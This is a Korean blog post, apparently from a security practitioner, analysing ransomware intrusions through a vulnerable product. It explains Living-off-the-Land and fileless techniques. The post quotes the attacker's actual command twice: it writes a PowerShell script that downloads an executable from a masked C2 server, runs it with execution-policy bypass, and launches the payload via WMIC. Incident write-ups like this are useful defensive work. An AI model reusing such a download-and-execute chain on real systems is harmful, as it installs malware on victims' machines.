현재 제가 근무하는 폐사의 특정 솔루션 취약점으로 랜섬웨어 감염사례가 속출하는 경험을 많이 했습니다. 특정 솔루션의 보안 취약점을 해커가 악용하여 운영중인 서버내 침투한것입니다. 어떤 방식으로 침투하였는지 공격벡터와 공격 방식에 대해 사례를 통해 알아보겠습니다.
공격 경로를 확인해본 결과 윈도우 cmd 명령어 제어 권한을 획득 후 파워쉘(Powershell)을 통해 악성코드를 설치하였습니다. 최초 침투후 파일리스 형태로 메모리에 악성코드를 올린후 실제 .ps 확장자 파일과 같은 악성코드는 삭제하는것이 특징입니다.
추가적으로 설명드리자면, 보안 취약점을 통해 침입 후 윈도우 내장 명령어 bitsadmin, certutil 등을 사용하여 외부로 부터 악성코드를 다운로드 받은 흔적이 발견되었습니다. 이때 사용하는 위에서 언급한 내장 명령어를 사용하는 공격 방법을 Living-Off-The-Land 기법이라고 합니다.
파일리스(Fileless)와 Living-Off-The-Land 에 대하여 아래 내용을 참고하시면 도움이 될것입니다.
Living-Off-The-Land 공격 기법 이란?
Living-off-the-land 공격 기법은 해커와 같은 공격자들이 시스템에 이미 설치되어 있는 정상적인 도구를 사용하거나 간단한 스크립트, 코드를 메모리에서 직접 실행하는 기법이다. 피해자 시스템에 기본으로 설치되어 있는 정상적인 프로그램을 활용하여 공격을 수행하기 때문에, 백신의 탐지를 회피할 수 있는것이 특징입니다.
파일리스(Fileless) 형태 공격이란?
Fileless란? 희생자의 컴퓨터의 저장장치에 악성 파일을 저장시키지 않고 시스템 메모리에 바로 로드되어 실행되는 것을 의미한다. 해당 방식을 이용하여 실행되는 악성코드를 파일리스 악성코드(Fileless Malware)라고 지칭한다. 그에 따라 하드디스크와 같은 저장 장치에 저장된 파일들을 스캔하는 일반적인 방식으로는 악성코드 탐지가 불가능합니다.
실제 powershell script 코드
“echo $client = New-Object System.Net.WebClient > %TEMP%\qaestaxxx.ps1 & echo $client.DownloadFile(“http://1xx.5x.xx6.x7/ZdfxxxgU.exe”,”%TEMP%\0VCxxxE.exe”) >> %TEMP%\qaestaxxx.ps1 & powershell -ExecutionPolicy Bypass %temp%\qaestaxxx.ps1 & WMIC process call create “%TEMP%\xxxM82E.exe””‘”
powershell script 내 C2서버로 부터 악성코드를 다운로드하는 코드
“echo $client = New-Object System.Net.WebClient > %TEMP%\example.ps1 & echo $client.DownloadFile(“http://4xx.x.x.x1/ZdfxxxgU.exe”,”%TEMP%\AAAexample.exe”) >> %TEMP%\malsample.ps1 & powershell -ExecutionPolicy Bypass %temp%\qaestaxxx.ps1 & WMIC process call create “%TEMP%\MESzzzqw.exe””‘”)
윈도우 이벤트 로그에 기록된 파워쉘 스크립트 실행 흔적
파워쉘 스크립트, 파일리스 공격 요약
- 보안 취약점 찾아 원격 명령 실행으로 / Powershell Script 실행.
- 파워쉘 스크립트 코드내 외부로 부터 악성코드 다운로드 실행 명령 삽입.
- 윈도우 내장 명령어 bitsadmin, certutil 등을 사용하여 다운로드 진행.
현재 해당 취약점은 모두 발견된어 조치가 완료된 상태이며 기존과 동일한 공격 벡터로는 해킹이 불가능한 상황입니다.
답글 남기기